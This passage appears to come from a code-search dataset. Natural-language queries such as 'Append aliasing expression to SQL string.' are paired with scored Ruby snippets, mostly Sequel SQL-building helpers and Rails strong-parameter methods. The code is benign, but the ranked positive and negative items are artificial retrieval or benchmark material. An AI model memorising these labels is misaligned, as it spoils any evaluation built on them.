"score": "0.5917905",
"text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.59164816",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "d6bf948034a6c8adc660df172dd7ec6e",
"score": "0.5913821",
"text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"title": ""
},
{
"docid": "eb5b91d56901f0f20f58d574d155c0e6",
"score": "0.59128743",
"text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"title": ""
},
{
"docid": "c6a96927a6fdc0d2db944c79d520cd99",
"score": "0.5906617",
"text": "def parameters\n nil\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.59053683",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "a743e25503f1cc85a98a35edce120055",
"score": "0.59052664",
"text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"title": ""
},
{
"docid": "533048be574efe2ed1b3c3c83a25d689",
"score": "0.5901591",
"text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"title": ""
},
{
"docid": "02a61b27f286a50802d652930fee6782",
"score": "0.58987755",
"text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.5897456",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "238705c4afebc0ee201cc51adddec10a",
"score": "0.58970183",
"text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.58942604",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
}
] |
65452ce2a06235acc3c36f2346716491
|
Append aliasing expression to SQL string.
|
[
{
"docid": "f72bbb94304886ad6211a449aec83f9f",
"score": "0.68790805",
"text": "def as_sql_append(sql, aliaz, column_aliases=nil)\n sql << ' AS '\n quote_identifier_append(sql, aliaz)\n if column_aliases\n raise Error, \"#{db.database_type} does not support derived column lists\" unless supports_derived_column_lists?\n sql << '('\n identifier_list_append(sql, column_aliases)\n sql << ')'\n end\n end",
"title": ""
}
] |
[
{
"docid": "069c91aa6e8c55da9c67d247a71c2954",
"score": "0.8258795",
"text": "def aliased_expression_sql_append(sql, ae)\n literal_append(sql, ae.expression)\n as_sql_append(sql, ae.alias, ae.columns)\n end",
"title": ""
},
{
"docid": "a0e8f663e2162e8b6fa1406013f1f6f9",
"score": "0.7575494",
"text": "def aliased_expression_sql(ae)\n as_sql(literal(ae.expression), ae.aliaz)\n end",
"title": ""
},
{
"docid": "f4668e4ddefd8df83ead86e02c3809f0",
"score": "0.7066903",
"text": "def as_sql_append(sql, aliaz, column_aliases=nil)\n raise Error, \"sqlite does not support derived column lists\" if column_aliases\n aliaz = aliaz.value if aliaz.is_a?(SQL::Identifier)\n sql << ' AS '\n literal_append(sql, aliaz.to_s)\n end",
"title": ""
},
{
"docid": "bb2b58474712a275172a8d7c5002d0f8",
"score": "0.7064436",
"text": "def as_sql_append(sql, aliaz, column_aliases=nil)\n raise Error, \"oracle does not support derived column lists\" if column_aliases\n sql << ' '\n quote_identifier_append(sql, aliaz)\n end",
"title": ""
},
{
"docid": "7bc62516ec526270ee8de2c9233b4fdd",
"score": "0.6724641",
"text": "def as_sql(expression, aliaz)\n \"#{expression} AS #{quote_identifier(aliaz)}\"\n end",
"title": ""
},
{
"docid": "b672d10c34d448574496c6294c818723",
"score": "0.6702163",
"text": "def as(alias_name)\n \"#{self.to_sql} as #{alias_name}\".to_sym\n end",
"title": ""
},
{
"docid": "74578b5ea88a1192794da6b6f1f38542",
"score": "0.66356564",
"text": "def append_table_alias(name,fields)\n fields.gsub(',' ,','+ name +'.')\nend",
"title": ""
},
{
"docid": "7b028fddd2fdd47b198f5675f2f35636",
"score": "0.6621982",
"text": "def auto_alias_expression(v)\n case v\n when LiteralString, Symbol, SQL::Identifier, SQL::QualifiedIdentifier, SQL::AliasedExpression\n v\n else\n SQL::AliasedExpression.new(v, :v)\n end\n end",
"title": ""
},
{
"docid": "7b4549253f09ec09a91e17e437303828",
"score": "0.65825707",
"text": "def add_alias alias_str\n end",
"title": ""
},
{
"docid": "cedad056138e8c951d46c738f3ffdec8",
"score": "0.6327396",
"text": "def apache_alias(*opts)\n self << \"Alias #{opts.quoteize * \" \"}\"\n end",
"title": ""
},
{
"docid": "bfbaee3a8d5c459695bcde8a7be737b5",
"score": "0.6309971",
"text": "def as_name_sql\n unless @as_name.blank?\n return \" AS `#{@as_name}` \"\n end\n return \"\"\n end",
"title": ""
},
{
"docid": "3a055440bfa88c80eff1a9d9144c7db8",
"score": "0.628588",
"text": "def join_clause_sql_append(sql, jc)\n table = jc.table\n table_alias = jc.table_alias\n table_alias = nil if table == table_alias && !jc.column_aliases\n sql << ' ' << join_type_sql(jc.join_type) << ' '\n identifier_append(sql, table)\n as_sql_append(sql, table_alias, jc.column_aliases) if table_alias\n end",
"title": ""
},
{
"docid": "d075ad99a66a291cae22df1ed9060646",
"score": "0.628536",
"text": "def join_clause_sql_append(sql, jc)\n table = jc.table\n table_alias = jc.table_alias\n table_alias = nil if table == table_alias && !jc.column_aliases\n sql << ' ' << join_type_sql(jc.join_type) << ' '\n if (hints = opts[:join_hints]) && (hint = hints[jc])\n sql << hint\n end\n identifier_append(sql, table)\n as_sql_append(sql, table_alias, jc.column_aliases) if table_alias\n end",
"title": ""
},
{
"docid": "e58b1a7d27ea391e66f00362feb80cb8",
"score": "0.6283349",
"text": "def sql\n \"#{@selection.target_alias}.#{@selection.selected_field} AS #{@alias}\"\n end",
"title": ""
},
{
"docid": "217ba6b696f8d0b69c4f2698ffd03f17",
"score": "0.6277149",
"text": "def t_alias_keyword\n (ActiveRecord::Base.connection.adapter_name.to_sym == :OracleEnhanced) ? \"\" : \"AS\"\n end",
"title": ""
},
{
"docid": "fd96c9c957f53abc75647d1d8aae5151",
"score": "0.62696034",
"text": "def quoted_identifier_append(sql, name)\n sql << '\"' << name.to_s.gsub('\"', '\"\"') << '\"'\n end",
"title": ""
},
{
"docid": "7a62ba102a9bbc22535d24ac6b62a73a",
"score": "0.6266282",
"text": "def quoted_identifier_append(sql, name)\n sql << '[' << name.to_s.gsub(/\\]/, ']]') << ']'\n end",
"title": ""
},
{
"docid": "6a50b5024b9cdd2ea0a8930f9086282d",
"score": "0.6247179",
"text": "def quoted_identifier_append(sql, name)\n sql << BACKTICK << name.to_s << BACKTICK\n end",
"title": ""
},
{
"docid": "6a50b5024b9cdd2ea0a8930f9086282d",
"score": "0.6247179",
"text": "def quoted_identifier_append(sql, name)\n sql << BACKTICK << name.to_s << BACKTICK\n end",
"title": ""
},
{
"docid": "9a111995abeef6ed212380ea1be3684a",
"score": "0.6230654",
"text": "def join_using_clause_sql_append(sql, jc)\n join_clause_sql_append(sql, jc)\n sql << ' USING ('\n column_list_append(sql, jc.using)\n sql << ')'\n end",
"title": ""
},
{
"docid": "f70477f25339770bcced0485a2e950d3",
"score": "0.6225663",
"text": "def safe_alias_node(node, name)\n Arel::Nodes::As.new node, Arel::Nodes::SqlLiteral.new(name)\n end",
"title": ""
},
{
"docid": "2b76494ae94a5f3f976c5a35ad4d584c",
"score": "0.62063694",
"text": "def literal_symbol_append(sql, v)\n c_table, column, c_alias = split_symbol(v)\n if c_table\n quote_identifier_append(sql, c_table)\n sql << '.'\n end\n quote_identifier_append(sql, column)\n as_sql_append(sql, c_alias) if c_alias\n end",
"title": ""
},
{
"docid": "6f930833a6f03248702d58ac49451eb9",
"score": "0.620022",
"text": "def getAliasedSelectClause(table_override, prefix='', just_prefix=false)\n selCols = []\n idx = 0\n while idx < @aliases.length do\n if just_prefix\n selCols.push(\"#{table_override}.#{prefix}#{@aliases[idx]}\")\n else\n selCols.push(\"#{table_override}.#{@aliases[idx]} AS #{prefix}#{@aliases[idx]}\")\n end\n idx += 1\n end\n return selCols.join(', ')\n end",
"title": ""
},
{
"docid": "86836a0723e91a47bb8bfccd5d6943a8",
"score": "0.6175522",
"text": "def qualified_identifier_sql_append(sql, table, column=(c = table.column; table = table.table; c))\n identifier_append(sql, table)\n sql << '.'\n identifier_append(sql, column)\n end",
"title": ""
},
{
"docid": "263d9477f982455fee883adb5ea86ec2",
"score": "0.6108276",
"text": "def column_alias(column)\r\n end",
"title": ""
},
{
"docid": "43e1b30971622bce3f331c786e36cdca",
"score": "0.6085115",
"text": "def process_sql_literal(sort)\n sort_index = next_sort_index\n sql = sort.attr.to_s\n\n replace_sort(sort, sort_index)\n build_alias(sql, sort_index)\n end",
"title": ""
},
{
"docid": "c4833620cf18039a2df74549d7084668",
"score": "0.60738045",
"text": "def add_alias(name, a)\n canonical_name = canonicalize(name)\n \n if !canonical_name\n return ''\n end\n \n @quotes[canonical_name][:aliases] << a\n end",
"title": ""
},
{
"docid": "187a4b9cbff1c70c06a7f62b349012f1",
"score": "0.6007657",
"text": "def tsquery_expression(term_sql, negated:, prefix:)\n terms = [\n (Arel::Nodes.build_quoted(\"!\") if negated),\n Arel::Nodes.build_quoted(\"' \"),\n term_sql,\n Arel::Nodes.build_quoted(\" '\"),\n (Arel::Nodes.build_quoted(\":*\") if prefix)\n ].compact\n\n terms.inject do |memo, term|\n Arel::Nodes::InfixOperation.new(\"||\", memo, Arel::Nodes.build_quoted(term))\n end\n end",
"title": ""
},
{
"docid": "6e0bc5def77314625f2b238ffe003fe7",
"score": "0.5968302",
"text": "def quoted_identifier_append(sql, c)\n sql << '`' << c.to_s.gsub('`', '``') << '`'\n end",
"title": ""
},
{
"docid": "6e0bc5def77314625f2b238ffe003fe7",
"score": "0.5968302",
"text": "def quoted_identifier_append(sql, c)\n sql << '`' << c.to_s.gsub('`', '``') << '`'\n end",
"title": ""
},
{
"docid": "caf99bd535eeed837673a4811cf75c1e",
"score": "0.5951226",
"text": "def as(aliaz)\n ::Sequel::SQL::AliasedExpression.new(self, aliaz)\n end",
"title": ""
},
{
"docid": "62c31815275edaef6e064ee71bab5591",
"score": "0.5944722",
"text": "def aliased(name)\n with(alias: name)\n end",
"title": ""
},
{
"docid": "2f1d38e096e67a1af5bb6115f78b04c0",
"score": "0.59382015",
"text": "def literal_expression_append(sql, v)\n v.to_s_append(self, sql)\n end",
"title": ""
},
{
"docid": "cb9e7cb97d14f2aa7987872c62b683e0",
"score": "0.5923796",
"text": "def join_using_clause_sql(jc)\n \"#{join_clause_sql(jc)} USING (#{column_list(jc.using)})\"\n end",
"title": ""
},
{
"docid": "455eb5342008cb749cfa508e8a02a51c",
"score": "0.59165853",
"text": "def interpolate_sql(sql, record = nil)\n instance_eval(\"%@#{sql.gsub('@', '\\@')}@\")\n end",
"title": ""
},
{
"docid": "539313d54b885be00668a55d83bfab2d",
"score": "0.5914767",
"text": "def table_alias=(_arg0); end",
"title": ""
},
{
"docid": "7dcfdcc0c2a74760964d0f9730e5ad15",
"score": "0.5901625",
"text": "def getSelectClause()\n selCols = []\n idx = 0\n while idx < @aliases.length do\n selCols.push(\"#{@table}.#{@cols[idx]} AS #{@aliases[idx]}\")\n idx += 1\n end\n return selCols.join(', ')\n end",
"title": ""
},
{
"docid": "1ba0ad5c8ce72b1d0e1e754f210c2371",
"score": "0.58087635",
"text": "def quote_identifier_append(sql, name)\n if name.is_a?(LiteralString)\n sql << name\n else\n name = name.value if name.is_a?(SQL::Identifier)\n name = input_identifier(name)\n if quote_identifiers?\n quoted_identifier_append(sql, name)\n else\n sql << name\n end\n end\n end",
"title": ""
},
{
"docid": "3ea63525bf4dfe67818bd44ae90f3008",
"score": "0.57992744",
"text": "def as(new_name)\n @var_name = \"#{@var_name} AS #{new_name}\"\n end",
"title": ""
},
{
"docid": "eb5f2b7ebb730bd53b5e93950b1ed14c",
"score": "0.5788106",
"text": "def column_alias(index)\r\n end",
"title": ""
},
{
"docid": "5a3a54e198b204a871b04f43184f5a22",
"score": "0.57729816",
"text": "def columnAliasRep(theTree)\n # theTree.myText = \"ca_#{theTree.object_id}\"\n theTree.myText = @metadata.chooseAlias\n # theTree.probeData[:columnAliases].push(theTree.myText)\n end",
"title": ""
},
{
"docid": "e89f093717fab6c8641105c757bd7437",
"score": "0.5756424",
"text": "def quoted_identifier_append(sql, v)\n sql << '[' << v.to_s << ']'\n end",
"title": ""
},
{
"docid": "6da0d2f78fb679b837e3eef24b5d608b",
"score": "0.5752612",
"text": "def cast_sql_append(sql, expr, type)\n sql << 'CAST('\n literal_append(sql, expr)\n sql << ' AS ' << db.cast_type_literal(type).to_s\n sql << ')'\n end",
"title": ""
},
{
"docid": "1a6486a1050c4fdcc027040e36e8b818",
"score": "0.57260036",
"text": "def join_on_clause_sql_append(sql, jc)\n join_clause_sql_append(sql, jc)\n sql << ' ON '\n literal_append(sql, filter_expr(jc.on))\n end",
"title": ""
},
{
"docid": "ec3650837829c08438eb80f21a5fdacc",
"score": "0.5717713",
"text": "def literal_string_append(sql, s)\n sql << APOS << s.to_s.gsub(STRING_ESCAPE_RE, STRING_ESCAPE_REPLACE) << APOS\n end",
"title": ""
},
{
"docid": "ec3650837829c08438eb80f21a5fdacc",
"score": "0.5717713",
"text": "def literal_string_append(sql, s)\n sql << APOS << s.to_s.gsub(STRING_ESCAPE_RE, STRING_ESCAPE_REPLACE) << APOS\n end",
"title": ""
},
{
"docid": "822fe614adc75f3fb0b5fa2c9c1b27be",
"score": "0.57037455",
"text": "def merge_join_sql(sql)\n\t sql << \"\\nON #{literal(@opts[:on])}\"\n\t end",
"title": ""
},
{
"docid": "ad4e4d10ed27205cef3ca1b750b0e6f0",
"score": "0.56855506",
"text": "def alias_symbol(sym)\n case sym\n when Symbol\n s, t, a = split_symbol(sym)\n a || s ? (a || t).to_sym : sym\n when String\n sym.to_sym\n when SQL::Identifier\n sym.value.to_s.to_sym\n when SQL::QualifiedIdentifier\n alias_symbol(sym.column)\n when SQL::AliasedExpression\n alias_alias_symbol(sym.aliaz)\n else\n raise Error, \"Invalid alias for alias_symbol: #{sym.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "9d57ee3c55d5f7258044acc06935c571",
"score": "0.56770074",
"text": "def to_sql(options = {})\n \"#{lhs.to_sql(options)} #{operator}\"\n end",
"title": ""
},
{
"docid": "812df6a0d12b48cbba5ed80813a934d6",
"score": "0.56744343",
"text": "def select_clause\n column_mappings.each.map{ |k, v| \"#{k} AS #{v}\" }.join(\", \")\n end",
"title": ""
},
{
"docid": "79d55d2616de359c545ad865ec794745",
"score": "0.5666964",
"text": "def complex_expression_sql_append(sql, op, args)\n case op\n when :'||'\n literal_append(sql, Sequel.function(:concat, *args))\n when :LIKE, :'NOT LIKE'\n sql << PAREN_OPEN\n literal_append(sql, args.at(0))\n sql << SPACE << op.to_s << SPACE\n literal_append(sql, args.at(1))\n sql << PAREN_CLOSE\n when :~, :'!~', :'~*', :'!~*'\n if op == :'~*' || op == :'!~*'\n args = args.map{|a| Sequel.function(:upper, a)}\n end\n sql << NOT if op == :'!~' || op == :'!~*'\n sql << PAREN_OPEN\n literal_append(sql, args.at(0))\n sql << REGEXP\n literal_append(sql, args.at(1))\n sql << PAREN_CLOSE\n else\n super\n end\n end",
"title": ""
},
{
"docid": "79d55d2616de359c545ad865ec794745",
"score": "0.5666964",
"text": "def complex_expression_sql_append(sql, op, args)\n case op\n when :'||'\n literal_append(sql, Sequel.function(:concat, *args))\n when :LIKE, :'NOT LIKE'\n sql << PAREN_OPEN\n literal_append(sql, args.at(0))\n sql << SPACE << op.to_s << SPACE\n literal_append(sql, args.at(1))\n sql << PAREN_CLOSE\n when :~, :'!~', :'~*', :'!~*'\n if op == :'~*' || op == :'!~*'\n args = args.map{|a| Sequel.function(:upper, a)}\n end\n sql << NOT if op == :'!~' || op == :'!~*'\n sql << PAREN_OPEN\n literal_append(sql, args.at(0))\n sql << REGEXP\n literal_append(sql, args.at(1))\n sql << PAREN_CLOSE\n else\n super\n end\n end",
"title": ""
},
{
"docid": "4d4719317c1eb8b719cf6306b61de799",
"score": "0.56642264",
"text": "def add_term_to_clause(clause, term)\n return nil unless clause.present? && term.present?\n\n format(clause.to_s, term: ActiveRecord::Base.connection.quote(term))\n end",
"title": ""
},
{
"docid": "39ca2b3785cf64b3446b1c19bcb4bb51",
"score": "0.56600094",
"text": "def formatted_query\n <<-SQL\n SELECT\n ts.*,\n CASE #{add_group_mapping}\n FROM trade_plus_shipments_view ts\n SQL\n end",
"title": ""
},
{
"docid": "1e91658f80442af97cd25738524343ab",
"score": "0.5642354",
"text": "def alias_for(attribute, alias_attribute)\n \"#{dispatch(attribute)} AS #{dispatch(alias_attribute)}\"\n end",
"title": ""
},
{
"docid": "03afaf3c1c6478e8b4a3bcc8280bc84e",
"score": "0.5636135",
"text": "def alias_expanded_string(t)\n @expanded = true\n begin\n string(t)\n ensure\n @expanded = false\n end\n end",
"title": ""
},
{
"docid": "03afaf3c1c6478e8b4a3bcc8280bc84e",
"score": "0.5636135",
"text": "def alias_expanded_string(t)\n @expanded = true\n begin\n string(t)\n ensure\n @expanded = false\n end\n end",
"title": ""
},
{
"docid": "40d84642c66c6db92982b2bd5dbcfb7d",
"score": "0.5635319",
"text": "def constant_sql_append(sql, constant)\n sql << constant.to_s\n end",
"title": ""
},
{
"docid": "9e7d7ef2934f251162a1664e2eb91a1b",
"score": "0.56332856",
"text": "def alias_qualified_column(col)\n case col\n when Symbol\n t, c, a = split_symbol(col)\n if t && !a\n alias_qualified_column(SQL::QualifiedIdentifier.new(t, c))\n else\n col\n end\n when SQL::QualifiedIdentifier\n SQL::AliasedExpression.new(col, col.column)\n else\n col\n end\n end",
"title": ""
},
{
"docid": "e1ead985838f63a884348c90ece91645",
"score": "0.5632231",
"text": "def _alias_queries(deps, options={})\n use_aliases = _use_aliases?(options)\n\n aliases = {}\n current_alias = \"a\"\n\n deps.each do |key|\n if use_aliases\n aliases[key] = Arel::Table.new(current_alias)\n current_alias = current_alias.succ\n else\n aliases[key] = Arel::Table.new(key)\n end\n end\n\n aliases\n end",
"title": ""
},
{
"docid": "4f5f8ed7dd7290a301b0831071599726",
"score": "0.5630899",
"text": "def decorate(name)\n @lhs + name + @rhs\n end",
"title": ""
},
{
"docid": "102d5314b3f92a63a79acf7db890993a",
"score": "0.5608547",
"text": "def to_casted_query(query, alias_name, **options)\n cast_with = options[:cast_with].to_s.downcase\n order_expr = order_by_expression(options[:order_by])\n distinct = cast_with.chomp!(\"_distinct\") || options[:distinct] # account for [:agg_name:]_distinct\n\n case cast_with\n when \"array\", \"true\"\n wrap_with_array(query, alias_name)\n when AGGREGATE_ONE_LINERS\n expr = to_sql_array(query) { |value| group_when_needed(value) }\n casted_query = ::Arel::Nodes::AggregateFunctionName.new(cast_with, expr, distinct).order_by(order_expr)\n nested_alias_escape(casted_query, alias_name)\n else\n alias_name.presence ? nested_alias_escape(query, alias_name) : query\n end\n end",
"title": ""
},
{
"docid": "256c40055f64ddc65d0b6699491ffdd6",
"score": "0.5605876",
"text": "def literal_string_append(sql, s)\n sql << \"'\" << s.gsub(\"'\", \"''\") << \"'\"\n end",
"title": ""
},
{
"docid": "26ea42ab4dcf03bf710bb746b7179068",
"score": "0.5596938",
"text": "def subscript_sql_append(sql, s)\n literal_append(sql, s.f)\n sql << '['\n if s.sub.length == 1 && (range = s.sub.first).is_a?(Range)\n literal_append(sql, range.begin)\n sql << ':'\n e = range.end\n e -= 1 if range.exclude_end? && e.is_a?(Integer)\n literal_append(sql, e)\n else\n expression_list_append(sql, s.sub)\n end\n sql << ']'\n end",
"title": ""
},
{
"docid": "c0f14e1005754e28d0903d2552a5659f",
"score": "0.559649",
"text": "def add_alias(namespace_uri, desired_alias, implicit = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "024e63d91f777d5d7369e692c45de0e2",
"score": "0.5596262",
"text": "def join_clause_sql(jc)\n table = jc.table\n table_alias = jc.table_alias\n table_alias = nil if table == table_alias\n tref = table_ref(table)\n \" #{join_type_sql(jc.join_type)} #{table_alias ? as_sql(tref, table_alias) : tref}\"\n end",
"title": ""
},
{
"docid": "58ea8c7915e09d38b22415bbb33f0f85",
"score": "0.55920607",
"text": "def aliased(alias_name)\n super.with(name: name || alias_name)\n end",
"title": ""
},
{
"docid": "12f0affc74c131a625725227d0be65fa",
"score": "0.55890137",
"text": "def _merge_alias_tables\n\t alias_num = @opts[:num_dataset_sources]||0\n\t [:into, :using].each do |k|\n\t\t if Symbol===@opts[k]\n\t\t u_table, u_column, u_alias = split_symbol(@opts[k])\n\t\t @opts[k] = \"#{@opts[k]}___#{dataset_alias(alias_num += 1)}\".to_sym unless u_alias\n\t\t else\n\t\t @opts[k] = @opts[k].as dataset_alias(alias_num += 1) unless @opts[k].respond_to? :aliaz\n\t\t end\n\t end\n\t end",
"title": ""
},
{
"docid": "278d852557706e137ab53dad4f5fc863",
"score": "0.5587792",
"text": "def quoted_identifier_append(sql, v)\n sql << BRACKET_OPEN << v.to_s << BRACKET_CLOSE\n end",
"title": ""
},
{
"docid": "06057111f2dffea31dd7f606d9cc288a",
"score": "0.5583798",
"text": "def sql_literal_append(ds, sql)\n if (s = @db_type) && !empty?\n sql << s.to_s << \"(\"\n ds.literal_append(sql, self.begin)\n sql << ','\n ds.literal_append(sql, self.end)\n sql << ','\n ds.literal_append(sql, \"#{exclude_begin? ? \"(\" : \"[\"}#{exclude_end? ? \")\" : \"]\"}\")\n sql << \")\"\n else\n ds.literal_append(sql, unquoted_literal(ds))\n if s\n sql << '::' << s.to_s\n end\n end\n end",
"title": ""
},
{
"docid": "6d88104cfea40b5db12c070ad1543888",
"score": "0.5572952",
"text": "def cast_sql_append(sql, expr, type)\n sql << CAST_TYPES.fetch(type, type).to_s\n sql << '('\n literal_append(sql, expr)\n sql << ')'\n end",
"title": ""
},
{
"docid": "f823696d91127b7cfbe82499fa3e8051",
"score": "0.55726635",
"text": "def table_alias_for(table_name); end",
"title": ""
},
{
"docid": "d4157512887b402be5ce2ac49e40b6b5",
"score": "0.55725396",
"text": "def alias_tag\n self.alias_id && self.alias ? self.alias.name : \"\"\n end",
"title": ""
},
{
"docid": "3291ce3220f9531882db28281ba79d05",
"score": "0.5570838",
"text": "def alias_symbol(sym)\n case sym\n when Symbol\n s, t, a = split_symbol(sym)\n a || s ? (a || t).to_sym : sym\n when String\n sym.to_sym\n when SQL::Identifier\n sym.value.to_s.to_sym\n when SQL::QualifiedIdentifier\n alias_symbol(sym.column)\n when SQL::AliasedExpression\n alias_alias_symbol(sym.alias)\n else\n raise Error, \"Invalid alias for alias_symbol: #{sym.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "635b68bd03c8dd7e401683f1a00540a8",
"score": "0.5569288",
"text": "def literal_string_append(sql, s)\n sql << APOS << s.to_s.gsub(STRING_ESCAPE_RE){|m| STRING_ESCAPES[m]} << APOS\n end",
"title": ""
},
{
"docid": "8fe3aa9d362609f75f958ab2ea7ac1eb",
"score": "0.5569184",
"text": "def column_alias_for(field); end",
"title": ""
},
{
"docid": "243a6ac66be9f4d5bfb967e75be17cd6",
"score": "0.5565962",
"text": "def visitAliasedQuerySource(ctx)\n sdc = ctx.query_source.accept(self)\n _alias = ctx.alias.text\n sdc.precondition_id = next_id\n return sdc,_alias\n end",
"title": ""
},
{
"docid": "aa4babde8894239e31d8c32ae8d8f0f0",
"score": "0.5552685",
"text": "def sql_literal_append(ds, sql)\n ds.literal_append(sql, unquoted_literal)\n sql << '::hstore'\n end",
"title": ""
},
{
"docid": "c94660249b76f3042e5228237854c9fa",
"score": "0.5551114",
"text": "def join_on_clause_sql(jc)\n \"#{join_clause_sql(jc)} ON #{literal(filter_expr(jc.on))}\"\n end",
"title": ""
},
{
"docid": "334ef2ab69e83220602e1c0970a58e86",
"score": "0.5536184",
"text": "def to_sparql(**options)\n \"CONCAT(#{operands.to_sparql(delimiter: ', ', **options)})\"\n end",
"title": ""
},
{
"docid": "0e001697cbd1a19b6515289a48c77b91",
"score": "0.5524426",
"text": "def complex_expression_sql_append(sql, op, args)\n case op\n when :'||'\n super(sql, :+, args)\n when :LIKE, :\"NOT LIKE\"\n super(sql, op, args.map{|a| Sequel.lit([\"(\", \" COLLATE Latin1_General_CS_AS)\"], a)})\n when :ILIKE, :\"NOT ILIKE\"\n super(sql, (op == :ILIKE ? :LIKE : :\"NOT LIKE\"), args.map{|a| Sequel.lit([\"(\", \" COLLATE Latin1_General_CI_AS)\"], a)})\n when :<<, :>>\n complex_expression_emulate_append(sql, op, args)\n when :extract\n part = args[0]\n raise(Sequel::Error, \"unsupported extract argument: #{part.inspect}\") unless format = EXTRACT_MAP[part]\n if part == :second\n expr = args[1]\n sql << \"CAST((datepart(\" << format.to_s << ', '\n literal_append(sql, expr)\n sql << ') + datepart(ns, '\n literal_append(sql, expr)\n sql << \")/1000000000.0) AS double precision)\"\n else\n sql << \"datepart(\" << format.to_s << ', '\n literal_append(sql, args[1])\n sql << ')'\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "f2f776fb7b7c8fdca9d36820e9c3aa5a",
"score": "0.55133915",
"text": "def ordered_expression_sql_append(sql, oe)\n literal_append(sql, oe.expression)\n sql << (oe.descending ? ' DESC' : ' ASC')\n case oe.nulls\n when :first\n sql << \" NULLS FIRST\"\n when :last\n sql << \" NULLS LAST\"\n end\n end",
"title": ""
},
{
"docid": "5a483cf600a3feff10cf0024f67f953d",
"score": "0.55128455",
"text": "def to_select_sql\n clause = @columns.collect { |column|\n column_with_prefix(column)\n }.join(', ')\n \n clause = concatenate(clause) if concat_ws?\n clause = group_concatenate(clause) if is_many?\n \n \"#{cast_to_string clause } AS #{quote_column(unique_name)}\"\n end",
"title": ""
},
{
"docid": "f2880b611877259d86e3275c571e5f7e",
"score": "0.551278",
"text": "def split_select_column_alias\n index = self.downcase.rindex(' as ') #simple check for as, not perfect, but should work in all normal cases\n if index.nil? || index == 0 #if not found or found at zero, the we will assume there is no allias\n return [self.strip, ''] #then clean up the space and return an with no alias\n else #otherwise split into to pieces the sql select expression\n return [self[0..index].strip, self[(index+3)..self.length].strip] #(usually a column) and then set the second parameter will be the alias.\n end\n\n end",
"title": ""
},
{
"docid": "933b97332a32e17f0ee0d50e966c0e64",
"score": "0.5510566",
"text": "def alias_to(alias_table)\n Arel::Nodes::As.new(table, Arel::Table.new(alias_table.name.tr('.', '_')))\n end",
"title": ""
},
{
"docid": "bbdfed65525addf99c6294cd98d90c4f",
"score": "0.5503362",
"text": "def sql_from(fmt = '%s')\n \"#{fmt % @table.name} AS #{@alias}\"\n end",
"title": ""
},
{
"docid": "5225bff983b7f0a85786294a062e4c62",
"score": "0.54996455",
"text": "def merge_source_sql(sql)\n\t\t sql << \"\\nUSING #{table_ref(@opts[:using])}\"\n\t\tend",
"title": ""
},
{
"docid": "851f2c4b8b6c32c4b4f9b56bba0659bc",
"score": "0.549669",
"text": "def sql_select\n sql = \"SUM(#{self.column}) AS #{self.sql_alias}\"\n\n if self.grouping.any?\n sql << \", \" << self.grouping.join(', ')\n end\n\n sql\n end",
"title": ""
},
{
"docid": "8c16c25d88d83303b51627639851fa86",
"score": "0.54962766",
"text": "def add_alias(alias_to)\n @aliases.add alias_to.to_s\n end",
"title": ""
},
{
"docid": "b43bd46de1fe271bc72b9c114b047adc",
"score": "0.5494195",
"text": "def split_alias(c)\n case c\n when Symbol\n c_table, column, aliaz = split_symbol(c)\n [c_table ? SQL::QualifiedIdentifier.new(c_table, column.to_sym) : column.to_sym, aliaz]\n when SQL::AliasedExpression\n [c.expression, c.alias]\n when SQL::JoinClause\n [c.table, c.table_alias]\n else\n [c, nil]\n end\n end",
"title": ""
},
{
"docid": "fcbd809c6bfce0145f35bf81c3bcc964",
"score": "0.54941624",
"text": "def split_select_column_alias\n index = self.downcase.rindex(' as ') #simple check for as, not perfect, but should work in all normal cases\n if index.nil? || index == 0 #if not found or found at zero, the we will assume there is no allias\n return [self.strip, ''] #then clean up the space and return an with no alias\n else #otherwise split into to pieces the sql select expression\n return [self[0..index].strip, self[(index+3)..self.length].strip] #(usually a column) and then set the second parameter will be the alias.\n end\n\n end",
"title": ""
},
{
"docid": "4bc76d57a4b949a8619db4bc6551dde9",
"score": "0.5488011",
"text": "def cast_sql_append(sql, expr, type)\n if auto_param?(sql) && auto_param_type(expr)\n sql << 'CAST('\n sql.add_arg(expr)\n sql << ' AS ' << db.cast_type_literal(type).to_s << ')'\n else\n super\n end\n end",
"title": ""
},
{
"docid": "673c260daebc1ee776233c410d55e7f6",
"score": "0.548631",
"text": "def add_pool_alias pool_name, alias_str\n end",
"title": ""
},
{
"docid": "5b4a2df89dd7a31cda6fccc5a4211979",
"score": "0.5479694",
